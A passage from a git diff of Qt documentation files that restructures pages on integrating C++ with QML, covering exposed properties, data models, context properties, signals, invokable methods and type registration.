+\li QVector3D +\li "x,y,z" +\li "0,1,0" +\row +\li Enumeration value +\li Enum value name +\li "AlignRight" +\endtable + +(More details on these string formats and types can be found in the +\l {QML Basic Types}{basic type documentation}.) + +These string formats can be used to set QML \c property values and pass arguments to C++ +functions. This is demonstrated by various examples on this page; in the above +\l{#properties-cpp}{Qt properties example}, the \c ApplicationData class has a \c backgroundColor +property of a QColor type, which is set from the QML code with the string "red" rather rather +than an actual QColor object. + +If it is preferred to pass an explicitly-typed value rather than a string, the global +\l{QmlGlobalQtObject}{Qt object} provides convenience functions for creating some of the object +types listed above. For example, \l{QML:Qt::rgba()}{Qt.rgba()} creates a QColor value from four +RGBA values. The QColor returned from this function could be used instead of a string to set +a QColor-type property or to call a C++ function that requires a QColor parameter. + + + + +\section1 Data Returned From Instance Method Invocation + +A registered C++ type may have functions flagged with the +Q_INVOKABLE flag defined. Those functions of an instance of +such a type will be accessible from QML. The function may +have a return value, which will be converted to a JavaScript +value when accessed from a JavaScript expression in QML. + +Note that if the return value is a QObject pointer (or a +pointer to a QObject-derived type), the QML engine will assume +ownership of it unless the object has had its ownership previously +explicitly set (to QQmlEngine::CppOwnership). + +\section1 Data Provided In A Custom C++ Model + +Models can be defined in C++ and then made available to QML. This is useful +for exposing existing C++ data models or otherwise complex datasets to QML. + +A C++ model class can be defined as a \l QStringList, a QObjectList or a +\l QAbstractItemModel. The first two are useful for exposing simpler datasets, +while QAbstractItemModel provides a more flexible solution for more complex +models. + +\section2 QStringList-based Model + +A model may be a simple \l QStringList, which provides the contents of the list +via the \e modelData role. + +Here is a ListView with a delegate that references its model item's +value using the \c modelData role: + +\snippet examples/quick/modelviews/stringlistmodel/view.qml 0 + +A Qt application can load this QML document and set the value of \c myModel +to a QStringList: + +\snippet examples/quick/modelviews/stringlistmodel/main.cpp 0 + +The complete example is available in Qt's \l {quick/modelviews/stringlistmodel}{examples/quick/modelviews/stringlistmodel} directory. + +\b{Note:} There is no way for the view to know that the contents of a QStringList +have changed. If the QStringList changes, it will be necessary to reset +the model by calling QQmlContext::setContextProperty() again. + + +\section2 QObjectList-based model + +A list of QObject* values can also be used as a model. A QList<QObject*> provides +the properties of the objects in the list as roles. + +The following application creates a \c DataObject class that with +Q_PROPERTY values that will be accessible as named roles when a +QList<DataObject*> is exposed to QML: + +\snippet examples/quick/modelviews/objectlistmodel/dataobject.h 0 +\dots 4 +\snippet examples/quick/modelviews/objectlistmodel/dataobject.h 1 +\codeline +\snippet examples/quick/modelviews/objectlistmodel/main.cpp 0 +\dots + +The QObject* is available as the \c modelData property. As a convenience, +the properties of the object are also made available directly in the +delegate's context. Here, \c view.qml references the \c DataModel properties in +the ListView delegate: + +\snippet examples/quick/modelviews/objectlistmodel/view.qml 0 + +Note the use of the fully qualified access to the \c color property. +The properties of the object are not replicated in the \c model +object, since they are easily available via the \c modelData +object. + +The complete example is available in Qt's \l {quick/modelviews/objectlistmodel}{examples/quick/modelviews/objectlistmodel} directory. + +Note: There is no way for the view to know that the contents of a QList +have changed. If the QList changes, it will be necessary to reset +the model by calling QQmlContext::setContextProperty() again. + + +\section2 QAbstractItemModel + +A model can be defined by subclassing QAbstractItemModel. This is the +best approach if you have a more complex model that cannot be supported +by the other approaches. A QAbstractItemModel can also automatically +notify a QML view when the model data has changed. + +The roles of a QAbstractItemModel subclass can be exposed to QML by calling +QAbstractItemModel::setRoleNames(). The default role names set by Qt are: + +\table +\header +\li Qt Role +\li QML Role Name +\row +\li Qt::DisplayRole +\li display +\row +\li Qt::DecorationRole +\li decoration +\endtable + +Here is an application with a QAbstractListModel subclass named \c AnimalModel +that has \e type and \e size roles. It calls QAbstractItemModel::setRoleNames() to set the +role names for accessing the properties via QML: + +\snippet examples/quick/modelviews/abstractitemmodel/model.h 0 +\dots +\snippet examples/quick/modelviews/abstractitemmodel/model.h 1 +\dots +\snippet examples/quick/modelviews/abstractitemmodel/model.h 2 +\codeline +\snippet examples/quick/modelviews/abstractitemmodel/model.cpp 0 +\codeline +\snippet examples/quick/modelviews/abstractitemmodel/main.cpp 0 +\dots + +This model is displayed by a ListView delegate that accesses the \e type and \e size +roles: + +\snippet examples/quick/modelviews/abstractitemmodel/view.qml 0 + +QML views are automatically updated when the model changes. Remember the model +must follow the standard rules for model changes and notify the view when +the model has changed by using QAbstractItemModel::dataChanged(), +QAbstractItemModel::beginInsertRows(), etc. See the \l {Model subclassing reference} for +more information. + +The complete example is available in Qt's \l {quick/modelviews/abstractitemmodel}{examples/quick/modelviews/abstractitemmodel} directory. + +QAbstractItemModel presents a hierarchy of tables, but the views currently provided by QML +can only display list data. +In order to display child lists of a hierarchical model +the VisualDataModel element provides several properties and functions for use +with models of type QAbstractItemModel: + +\list +\li \e hasModelChildren role property to determine whether a node has child nodes. +\li \l VisualDataModel::rootIndex allows the root node to be specified +\li \l VisualDataModel::modelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex +\li \l VisualDataModel::parentModelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex +\endlist + +\section2 Exposing C++ Data Models to QML + +The above examples use QQmlContext::setContextProperty() to set +model values directly in QML components. An alternative to this is to +register the C++ model class as a QML type (either +\l{qtqml-registercpptypes.html}{directly} from a C++ entry-point, or within +the initialization function of a \l{qtqml-modules-cppplugins.html} +{QML C++ plugin}, as shown below). This would allow the model classes to be +created directly as elements within QML: + +\table +\row + +\li +\code +class MyModelPlugin : public QQmlExtensionPlugin +{ +public: + void registerTypes(const char *uri) + { + qmlRegisterType<MyModel>(uri, 1, 0, + "MyModel"); + } +} + +Q_EXPORT_PLUGIN2(mymodelplugin, MyModelPlugin); +\endcode + +\li +\qml +MyModel { + id: myModel + ListElement { someProperty: "some value" } +} +\endqml + +\qml +ListView { + width: 200; height: 250 + model: myModel + delegate: Text { text: someProperty } +} +\endqml + +\endtable + +See \l {Tutorial: Extending QML with C++} for details on writing QML C++ +plugins. + + + + + + + +\section2 Embedding C++ Objects into QML Components + +When loading a QML scene into a C++ application, it can be useful to directly embed C++ data into +the QML object. QQmlContext enables this by exposing data to the context of a QML +component, allowing data to be injected from C++ into QML. + +For example, here is a QML item that refers to a \c currentDateTime value that does not exist in +the current scope: + +\snippet qml/qtbinding/context/MyItem.qml 0 + +This \c currentDateTime value can be set directly by the C++ application that loads the QML +component, using QQmlContext::setContextProperty(): + +\snippet qml/qtbinding/context/main.cpp 0 + +Context properties can hold either QVariant or QObject* values. This means custom C++ objects can +also be injected using this approach, and these objects can be modified and read directly in QML. +Here, we modify the above example to embed a QObject instance instead of a QDateTime value, and the QML code +invokes a method on the object instance: + +\table +\row +\li +\snippet qml/qtbinding/context-advanced/applicationdata.h 0 +\codeline +\snippet qml/qtbinding/context-advanced/main.cpp 0 +\li +\snippet qml/qtbinding/context-advanced/MyItem.qml 0 +\endtable + +(Note that date/time values returned from C++ to QML can be formatted through +\l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) + +If the QML item needs to receive signals from the context property, it can connect to them using the +\l Connections element. For example, if \c ApplicationData has a signal named \c +dataChanged(), this signal can be connected to using an \c onDataChanged handler within +a \l Connections object: + +\snippet qml/qtbinding/context-advanced/connections.qml 0 + +Context properties can be useful for using C++ based data models in a QML view. See the +\l {quick/modelviews/stringlistmodel}{String ListModel}, +\l {quick/modelviews/objectlistmodel}{Object ListModel} and +\l {quick/modelviews/abstractitemmodel}{AbstractItemModel} models for +respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel +in QML views. + +Also see the QQmlContext documentation for more information. + + + + + + +\section1 Exposing Qt C++ Properties + + The \l{QQmlEngine}{QML engine} utilizes Qt's + \l{The Property System}{Property System} and in effect, QML + \l{Property Binding}{property bindings} also use Qt properties. + + Essentially, a Qt C++ property has a \e write function, \e read function, + and has a signal function. QML properties are inheritely public, both + readable and writable, albeit type-safe. QML properties may also have + signals which are emitted when the property value or binding changes. + + The QML property equivalent of a Qt C++ property is created as a property + with the \l Q_PROPERTY() macro. There needs to be C++ functions assigned as + the property's read, write, and signal handler function. + + The \l {Creating QML Object Types from C++}{Register a Type} section mentions that the + \c Person class has properties that are exposed to the QML context. The QML + properties are created with the \c Q_PROPERTY macro. The macro associates + the properties to the read, write, and singal functions in its argument. + +\code +Q_PROPERTY(int size READ size WRITE setSize NOTIFY shoeChanged) +\endcode + + A \c Shoe class might have an integer property called \c size. We set the \c + size() function as the \c READ function and the \c setSize() function to be + the \c WRITE function. In a QML application, when a property is read, the \c + size() is called and when the property's binding changes, the \c setSize() + is called. The READ function, by definition, must return the same type as + the property. + + We may also connect a \l{signals and slots}{signal} to a property. The \c + size property may have a \c shoeChanged signal indicated after the \c NOTIFY + parameter of the macro. The \c shoeChanged becomes a \l{QML Signal and + Handler Event System}{QML signal} and the runtime will create QML handler + called \c onShoeChanged. Whenever the size property's binding changes, the + \c shoeChanged signal is emitted and the \c onShoeChanged handler is + invoked. In the handler, commands such as \l{JavaScript Expressions in + QML}{JavaScript expressions} can perform clean-up operations or call other + functions. + + \b{Note:} The QML signal handler will always be named + on<Property-name>Changed, regardless of the name used for the NOTIFY + signal in C++. We recommend using <property-name>Changed() for the + NOTIFY signal in C++. + + We may also make the property a \c read-only property by placing + \c CONSTANT in the parameter. Changing the binding will generate an error. +\code +//A read-only property +Q_PROPERTY(int size READ size CONSTANT) +\endcode + +\section2 Default Property + + When imported, QML components will bind their children to their designated + \l{default-property}{default property}. This is helpful, for example, + to redirect any declared child components to a property of another + component. + + The runtime can set a property to be the default property by tagging the + property with \c DefaultProperty in The Q_CLASSINFO() macro. + + \code + Q_CLASSINFO("DefaultProperty", "pipe") + \endcode + + The property tagged as default property, \c pipe, can only be an object + property, or a list property. + + A default property is optional. A derived class inherits its base class's + default property, but may override it in its own declaration. The \c pipe + property can refer to a property declared in the class itself, or a property + inherited from a base class. + + The \l{Extending QML - Default Property Example}{Default Properties} example + uses \l{default-property}{default properties} to assign the children of + a component to a specific property. + + \section2 Grouped Properties + + A property group may be functionally defined as a set of related properties. + For example, the \l{Layouts with Anchors}{anchors} are a group of + related properties. In practice, property groups resemble a parent object + where the individual properties are accessed as children. + + A grouped property's member properties are accessed using the + <group>.<property> notation. For example, shoe.color is the way to access + the \c color property in the \c shoe property group . + + \snippet examples/qml/cppextensions/referenceexamples/grouped/example.qml ungrouped + + Alternatively, the group can be accessed as a set. + \snippet examples/qml/cppextensions/referenceexamples/grouped/example.qml grouped + + A grouped property block is implemented as a read-only object property. The + \c shoe property shown is declared like this: + + \snippet examples/qml/cppextensions/referenceexamples/grouped/person.h 1 + + The \c ShoeDescription type declares the properties available to the grouped + property block - in this case the \c size, \c color, \c brand and \c price properties. + + Grouped property blocks may declared and accessed be recusively. + + \l {Extending QML - Grouped Properties Example} shows the complete code used to + implement the \c shoe property grouping. + + \section2 Attached Properties + + Attached properties annotate or add properties to another type or component. + For example, the \l Keys \e{attaching type} contains \e{attached properties} + that other elements may use to respond to key input. Conceptually, attached + properties are a \e type exporting a set of additional properties that can + be set on any other object instance. + + The attaching type is a QObject derived type. The properties on the + attaching type are those that become available for use as attached + properties. + + \snippet examples/qml/cppextensions/referenceexamples/attached/example.qml 1 + + The \c BirthdayParty is called the attaching type and the + \c Boy instance the attachee object instance. The property \c rsvp is the + attached property. + + Any Qt C++ type can become an attaching type by declaring the \c + qmlAttachedProperties() a public member function and declaring that the + class has QML_HAS_ATTACHED_PROPERTIES. + + \code + static AttachedPropertiesType *qmlAttachedProperties(QObject *object); + \endcode + + This static pointer returns an attachment object, of type \a + AttachedPropertiesType, for the attachee \a object instance. It is + customary, though not strictly required, for the attachment object to be + parented to \a object to prevent memory leaks. + The \l {Extending QML - Attached Properties Example}{Birthday} + class has \c BirthdayPartyAttached attached properties. + + \snippet examples/qml/cppextensions/referenceexamples/attached/birthdayparty.h static attached + + The QML_DECLARE_TYPEINFO() macro can notify the runtime that the type has + attached properties with the QML_HAS_ATTACHED_PROPERTIES argument. + + \snippet examples/qml/cppextensions/referenceexamples/attached/birthdayparty.h declare attached + + The qmlAttachedProperties method will be called at most once for each + attachee object instance. The QML engine will cache the returned instance + pointer for subsequent attached property accesses. Consequently the + attachment object may not be deleted until \a object is destroyed. + + A common usage scenario is for a type to enhance the properties + available to its children in order to gather instance specific data. + + \snippet examples/qml/cppextensions/referenceexamples/attached/example.qml begin + \snippet examples/qml/cppextensions/referenceexamples/attached/example.qml rsvp + \snippet examples/qml/cppextensions/referenceexamples/attached/example.qml end + + However, as a QML type cannot limit the instances to which the attachment + object must attach, the following is also allowed, even though adding a + birthday party rsvp in this context will have no effect. Instead, \c + BirthdayParty could be a separate component with a property \c rsvp. + \code + GraduationParty { + Boy { BirthdayParty.rsvp: "2009-06-01" } + } + \endcode + + From C++, including the attaching type implementation, the attachment object + for an instance can be accessed using the following method: + + \code + template<typename T> + QObject *qmlAttachedPropertiesObject<T>(QObject *attachee, bool create = true); + \endcode + + This returns the attachment object attached to \a attachee by the attaching + type \a T. If type \a T is not a valid attaching type, this method always + returns 0. If \a create is true, a valid attachment object will always be + returned, creating it if it does not already exist. If \a create is false, + the attachment object will only be returned if it has previously been + created. + + The \c rsvp properties of each guest in the \c Birthday party is accessible + through the \c qmlAttachedPropertiesObject function. + + \snippet examples/qml/cppextensions/referenceexamples/attached/main.cpp query rsvp + + The + \l {Extending QML - Attached Properties Example}{Attached Properties Example} + demonstrates the creation of attached properties with a birthday party + scenario. + +\section2 Object and List Properties + + QML can set properties of types that are more complex than basic intrinsics like + integers and strings. Properties can also be object pointers, Qt interface + pointers, lists of object pointers, and lists of Qt interface pointers. As QML + is typesafe it ensures that only valid types are assigned to these properties, + just like it does for primitive types. + + Properties that are pointers to objects or Qt interfaces are declared with the + Q_PROPERTY() macro, just like other properties. The \c host property + declaration looks like this: + + \snippet examples/qml/cppextensions/referenceexamples/properties/birthdayparty.h 1 + + As long as the property type, in this case \c Person, is registered with QML the + property can be assigned. + + QML also supports assigning Qt interfaces. To assign to a property whose type + is a Qt interface pointer, the interface must also be registered with QML. As + they cannot be instantiated directly, registering a Qt interface is different + from registering a new QML type. The following function is used instead: + + \code + template<typename T> + int qmlRegisterInterface(const char *typeName) + \endcode + + \c qmlRegisterInterface registers the C++ interface \a T with the QML system + as \a typeName. + + Following registration, QML can coerce objects that implement this interface + for assignment to appropriately typed properties. + + + \snippet examples/qml/cppextensions/referenceexamples/properties/example.qml 0 + + The \c guests property is a \e{list property} of \c Person objects. A list + of \c Person objects are bound to the \c BirthdayParty's \c host property, + and assigns three \c Person objects to the guests property. + + Properties that are lists of objects or Qt interfaces are also declared with + the Q_PROPERTY() macro. However, list properties must have the type + \l{QQmlListProperty}{QQmlListProperty<T>}. + + \snippet examples/qml/cppextensions/referenceexamples/properties/birthdayparty.h 2 + + As with the other property types, the type of list content, \a T, must be + \l{Creating QML Object Types from C++}{registered} into the runtime. + + \snippet examples/qml/cppextensions/referenceexamples/properties/main.cpp register list + + \l {Extending QML - Object and List Property Types Example} shows the + complete code used to create the \c BirthdayParty type. For more + information, visit \l{QQmlListProperty}{QQmlListProperty<T>} + for creating list properties. + +\section2 Sequence Types + + Certain C++ sequence types are supported transparently in QML as JavaScript + Array types. + In particular, QML currently supports: + \list + \li \c {QList<int>} + \li \c {QList<qreal>} + \li \c {QList<bool>} + \li \c {QList<QString>} and \c{QStringList} + \li \c {QList<QUrl>} + \endlist + + These sequence types are implemented directly in terms of the underlying C++ + sequence. There are two ways in which such sequences can be exposed to QML: + as a Q_PROPERTY of the given sequence type; or as the return type of a + Q_INVOKABLE method. There are some differences in the way these are + implemented, which are important to note. + + If the sequence is exposed as a Q_PROPERTY, accessing any value in the + sequence by index will cause the sequence data to be read from the QObject's + property, then a read to occur. Similarly, modifying any value in the + sequence will cause the sequence data to be read, and then the modification + will be performed and the modified sequence will be written back to the + QObject's property. + + If the sequence is returned from a Q_INVOKABLE function, access and mutation + is much cheaper, as no QObject property read or write occurs; instead, the + C++ sequence data is accessed and modified directly. + + Other sequence types are not supported transparently, and instead an + instance of any other sequence type will be passed between QML and C++ as an + opaque QVariantList. + + \b {Important Note:} There are some minor differences between the + semantics of such sequence Array types and default JavaScript Array types + which result from the use of a C++ storage type in the implementation. In + particular, deleting an element from an Array will result in a + default-constructed value replacing that element, rather than an Undefined + value. Similarly, setting the length property of the Array to a value larger + than its current value will result in the Array being padded out to the + specified length with default-constructed elements rather than Undefined + elements. Finally, the Qt container classes support signed (rather than + unsigned) integer indexes; thus, attempting to access any index greater + than INT_MAX will fail. + + The default-constructed values for each sequence type are as follows: + \table + \row \li QList<int> \li integer value 0 + \row \li QList<qreal> \li real value 0.0 + \row \li QList<bool> \li boolean value \c {false} + \row \li QList<QString> and QStringList \li empty QString + \row \li QList<QUrl> \li empty QUrl + \endtable + + If you wish to remove elements from a sequence rather than simply replace + them with default constructed values, do not use the indexed delete operator + ("delete sequence[i]") but instead use the \c {splice} function + ("sequence.splice(startIndex, deleteCount)"). + + + + +\section1 Property Value Sources + +\snippet examples/qml/cppextensions/referenceexamples/valuesource/example.qml 0 +\snippet examples/qml/cppextensions/referenceexamples/valuesource/example.qml 1 + +The QML snippet shown above applies a property value source to the \c announcement property. +A property value source generates a value for a property that changes over time. + +Property value sources are most commonly used to do animation. Rather than +constructing an animation object and manually setting the animation's "target" +property, a property value source can be assigned directly to a property of any +type and automatically set up this association. + +The example shown here is rather contrived: the \c announcement property of the +\c BirthdayParty object is a string that is printed every time it is assigned and +the \c HappyBirthdaySong value source generates the lyrics of the song +"Happy Birthday". + +\snippet examples/qml/cppextensions/referenceexamples/valuesource/birthdayparty.h 0 + +Normally, assigning an object to a string property would not be allowed. In +the case of a property value source, rather than assigning the object instance +itself, the QML engine sets up an association between the value source and +the property. + +Property value sources are special types that derive from the +QQmlPropertyValueSource base class. This base class contains a single method, +QQmlPropertyValueSource::setTarget(), that the QML engine invokes when +associating the property value source with a property. The relevant part of +the \c HappyBirthdaySong type declaration looks like this: + +\snippet examples/qml/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 0 +\snippet examples/qml/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 1 +\snippet examples/qml/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 2 + +In all other respects, property value sources are regular QML types. They must +be registered with the QML engine using the same macros as other types, and can +contain properties, signals and methods just like other types. + +When a property value source object is assigned to a property, QML first tries +to assign it normally, as though it were a regular QML type. Only if this +assignment fails does the engine call the \l {QQmlPropertyValueSource::}{setTarget()} method. This allows +the type to also be used in contexts other than just as a value source. + +\l {Extending QML - Property Value Source Example} shows the complete code used +to implement the \c HappyBirthdaySong property value source. + + + +*/ diff --git a/src/qml/doc/src/cppintegration/functions.qdoc b/src/qml/doc/src/cppintegration/functions.qdoc new file mode 100644 index 0000000000..e1318b5bee --- /dev/null +++ b/src/qml/doc/src/cppintegration/functions.qdoc @@ -0,0 +1,208 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-cppintegration-functions.html +\title Exposing C++ Functionality To QML +\brief Description of how to expose functionality defined in C++ to QML + + +// XXX TODO The content of "Exposing C++ Functionality To QML" and +// "Exposing Data From C++ To QML" should probably be grouped together +// on the same page, or separated in a more distinct way. + + + +\section1 Properties Of Types Defined In C++ + +Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY() +macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into +QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor +property. This property can be written to and read from QML: + +\table +\row +\li \snippet qml/qtbinding/properties-cpp/applicationdata.h 0 +\li \snippet qml/qtbinding/properties-cpp/MyItem.qml 0 +\endtable + +Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the +\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal, +the property cannot be used for \l{Property Binding}, as the QML engine would not be +notified when the value changes. If you are using custom types in QML, make sure their +properties have NOTIFY signals so that they can be used in property bindings. + +\section1 Signals And Slots + +QML integrates with the normal Qt C++ signals and slots system. +Signal handlers may be defined in a QML object, to handle signals +emitted by that or other objects. Signals may also be defined +and emitted from QML, which can be connected to slots in C++. + +\section1 Method Invocation + +Methods of C++ types exposed to QML may be invoked so long as they +are flagged with Q_INVOKABLE. As noted above, if the function +returns a pointer to a QObject or a QObject-derived type, some care +must be taken to avoid unwanted ownership changes occurring. + + + + +\section2 Property Signals + + All properties on custom types automatically support property binding. + However, for binding to work correctly, QML must be able to reliably + determine when a property has changed so that it knows to reevaluate any + bindings that depend on the property's value. QML relies on the presence of + a \l {Qt's Property System}{NOTIFY signal} for this determination. + + Here is the \c host property declaration: + + \snippet examples/qml/cppextensions/referenceexamples/binding/birthdayparty.h 0 + + The NOTIFY attribute is followed by a signal name. It is the responsibility + of the class implementer to ensure that whenever the property's value + changes, the NOTIFY signal is emitted. The signature of the NOTIFY signal is + not important to QML. + + To prevent loops or excessive evaluation, developers should ensure that the + signal is only emitted whenever the property's value is actually changed. If + a property, or group of properties, is infrequently used it is permitted to + use the same NOTIFY signal for several properties. This should be done with + care to ensure that performance doesn't suffer. + + To keep QML reliable, if a property does not have a NOTIFY signal, it cannot + be used in a binding expression. However, the property can still be assigned + a binding as QML does not need to monitor the property for change in that + scenario. + + Consider a custom type, \c TestElement, that has two properties, \c a and + \c b. Property \c a does \e not have a NOTIFY signal, and property \c b does + have a NOTIFY signal. + + \code + TestElement { + // This is OK + a: b + } + TestElement { + // Will NOT work + b: a + } + \endcode + + The presence of a NOTIFY signal does incur a small overhead. There are cases + where a property's value is set at object construction time, and does not + subsequently change. The most common case of this is when a type uses \l + {Grouped Properties}, and the grouped property object is allocated once, and + only freed when the object is deleted. In these cases, the CONSTANT + attribute may be added to the property declaration instead of a NOTIFY + signal. + + \snippet examples/qml/cppextensions/referenceexamples/binding/person.h 0 + + Extreme care must be taken here or applications using your type may misbehave. + The CONSTANT attribute should only be used for properties whose value is set, + and finalized, only in the class constructor. All other properties that want + to be used in bindings should have a NOTIFY signal instead. + + \l {Extending QML - Binding Example} shows the BirthdayParty example updated to + include NOTIFY signals for use in binding. + +\section1 Signals Support + + A \l{signals and slots}{signal} in Qt C++ is readily available as a + \l{Signal and Handler Event System}{QML signal}. A signal will have + a corresponding signal \e{handler}, created automatically. The handler + name will have \c on prepended at the beginning of the name. The first + character of the signal is uppercased for the signal handler. The + signal parameter is also availabe to the QML signal. + + \snippet examples/qml/cppextensions/referenceexamples/signal/birthdayparty.h 0 + The QML engine will create a handler for the \c partyStarted signal + called \c onPartyStarted. + \snippet examples/qml/cppextensions/referenceexamples/signal/example.qml 0 + + Classes may have multiple signals with the same name, but only the final + signal is accessible as a QML signal. Note that signals with the same name + but different parameters cannot be distinguished from one another. + + Signal parameters are exposed and can be any one of the QML + \l{QML Basic Types}{basic types} as well registered object types. Accessing + unregistered types will not generate an error, but the parameter value will + not be accessible from the handler. + + To use signals from items not created in QML, access their signals with the + \l {Connections} element. + + Additionally, if a property is added to a C++ class, all QML elements + based on that C++ class will have a \e{value-changed} signal handler + for that property. The name of the signal handler is + \e{on<Property-name>Changed}, with the first letter of the property + name being upper case. + + The \l {Extending QML - Signal Support Example}{Signal Support Example} + shows an example application exposing signals to a QML component. + +\section1 Exposing Methods + + The Q_INVOKABLE macro exposes any Qt C++ method as a QML method. + + \snippet examples/qml/cppextensions/referenceexamples/methods/birthdayparty.h 0 + + In a QML file, we can invoke the method as we would a + \l{JavaScript Expressions in QML}{JavaScript expression}. + \snippet examples/qml/cppextensions/referenceexamples/methods/example.qml 0 + + \l {Extending QML - Methods Example}{Methods example} uses the Q_INVOKABLE + method to expose methods and demonstrates some usages of the method in + an application. + + An alternative to the Q_INVOKABLE macro is to declare the C++ method as a + \l{signals and slot}{slot}. + + \code + slots: + void invite(const QString &name); + \endcode + + + + +\section1 Module API Functionality + +One of the simplest ways to expose C++ functionality to clients in +QML is by registering a QObject module API. This allows functionality +and data to be exposed in a namespace which is accessible from QML. +See the qmlRegisterModuleApi() documentation for more information +about registering module APIs. + +A module API is instantiated and owned by the engine as a singleton. +Thus, it is more performant to implement common functionality in a module +API than in an instantiable, non-visual element. + +*/ diff --git a/src/qml/doc/src/bindings/qmltypes.qdoc b/src/qml/doc/src/cppintegration/registercpptypes.qdoc index c5f4ee8f8b..9ccf428aaf 100644 --- a/src/qml/doc/src/bindings/qmltypes.qdoc +++ b/src/qml/doc/src/cppintegration/registercpptypes.qdoc @@ -25,17 +25,92 @@ ** ****************************************************************************/ /*! -\page qml-c++types.html -\title C++ Types as QML Types -\brief exposing Qt C++ types into the QML engine +\page qtqml-cppintegration-registercpptypes.html +\title Defining QML Object Types from C++ +\brief Description of how to register C++ types with the QML type system + + + + +\section1 Defining New QML Elements + +While new QML elements can be \l {Defining New Components}{defined in QML}, they can also be +defined by C++ classes; in fact, many of the core \l {QML Elements} are implemented through +C++ classes. When you create a QML object using one of these elements, you are simply creating an +instance of a QObject-based C++ class and setting its properties. + +To create a visual item that fits in with the Qt Quick elements, base your class off \l QQuickItem instead of QObject directly. +You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QQuickItem because +it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping). + +For example, here is an \c ImageViewer class with an \c image URL property: + +\snippet qml/qtbinding/newelements/imageviewer.h 0 + +Aside from the fact that it inherits QQuickItem, this is an ordinary class that could +exist outside of QML. However, once it is registered with the QML engine using qmlRegisterType(): + +\snippet qml/qtbinding/newelements/main.cpp register + +Then, any QML code loaded by your C++ application or \l{QQmlExtensionPlugin}{plugin} can create and manipulate +\c ImageViewer objects: + +\snippet qml/qtbinding/newelements/standalone.qml 0 + + +It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QQuickItem. +This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. +To minimize any porting requirements for custom visual items, try to stick to the documented properties in QQuickItem where possible. Properties QQuickItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases. + +Note that custom C++ types do not have to inherit from QQuickItem; this is only necessary if it is +a displayable item. If the item is not displayable, it can simply inherit from QObject. + +For more information on defining new QML elements, see the \l {Tutorial: Extending QML with C++} +{Writing QML extensions with C++} tutorial and the +\l{Extending QML with C++} reference documentation. + + + + +\section1 Subclassing QQmlParserStatus + + Often, to develop high performance elements it is helpful to know more about + the status of the QML engine. For example, it might be beneficial to delay + initializing some costly data structures until after all the properties have + been set. + + The QML engine defines an interface class called QQmlParserStatus, + which contains a number of virtual methods that are invoked at various + stages during component instantiation. To receive these notifications, an + element implementation inherits QQmlParserStatus and notifies the Qt + meta system using the Q_INTERFACES() macro. + + \code + class Example : public QObject, public QQmlParserStatus + { + Q_OBJECT + Q_INTERFACES(QQmlParserStatus) + public: + virtual void componentComplete() + { + qDebug() << "Woohoo! Now to do my costly initialization"; + } + }; + \endcode + + + + -The \l{The QML Engine}{QML engine} can instantiate any Qt C++ construct -such as \l{The Property System}{properties}, functions, and data models into -the QML context allowing the constructs to be accessible from within QML. \target register-c++-type \section1 Register a Type +The \l{QQmlEngine}{QML engine} can instantiate any Qt C++ construct +such as \l{The Property System}{properties}, functions, and data models into +the QML context allowing the constructs to be accessible from within QML. + + In an application or a \l{QML Plugins}{plugin}, the \c qmlRegisterType template will register a class to the QML engine. @@ -84,7 +159,7 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c \section2 Qt Objects and Interfaces QML can bind to complex objects such as pointers to objects or lists. As QML - is typesafe, the \l{The QML Engine}{QML engine} ensures that only + is typesafe, the \l{QQmlEngine}{QML engine} ensures that only valid types are assigned to these properties. The QML engine treats pointers to objects or Qt interfaces the same @@ -95,7 +170,7 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c The \c host is an \l{qml-expose-properties}{exposed property} that can bind to objects or lists of objects. The property type, in this case \c Person, - must be \l{register-c++-type}{registered} into the runtime. + must be \l{Creating QML Object Types from C++}{registered} into the runtime. QML also supports assigning Qt interfaces. To assign to a property whose type is a Qt interface pointer, the interface must also be registered with @@ -225,7 +300,7 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c objects inherit from \c Person. To assign to a property, the property's type must have been - \l{register-c++-type}{registered} to the \l{The QML Engine}{declarative + \l{Creating QML Object Types from C++}{registered} to the \l{QQmlEngine}{declarative runtime}. If a type that acts purely as a base class that cannot be instantiated from QML needs to be registered as well. The \l qmlRegisterType() is useful for this occasion. @@ -301,56 +376,7 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c The \l{Extending QML - Extension Objects}{Extension Objects} example demonstrates a usage of extension objects. -\section1 Property Value Sources - -\snippet examples/qml/cppextensions/referenceexamples/valuesource/example.qml 0 -\snippet examples/qml/cppextensions/referenceexamples/valuesource/example.qml 1 - -The QML snippet shown above applies a property value source to the \c announcement property. -A property value source generates a value for a property that changes over time. - -Property value sources are most commonly used to do animation. Rather than -constructing an animation object and manually setting the animation's "target" -property, a property value source can be assigned directly to a property of any -type and automatically set up this association. - -The example shown here is rather contrived: the \c announcement property of the -\c BirthdayParty object is a string that is printed every time it is assigned and -the \c 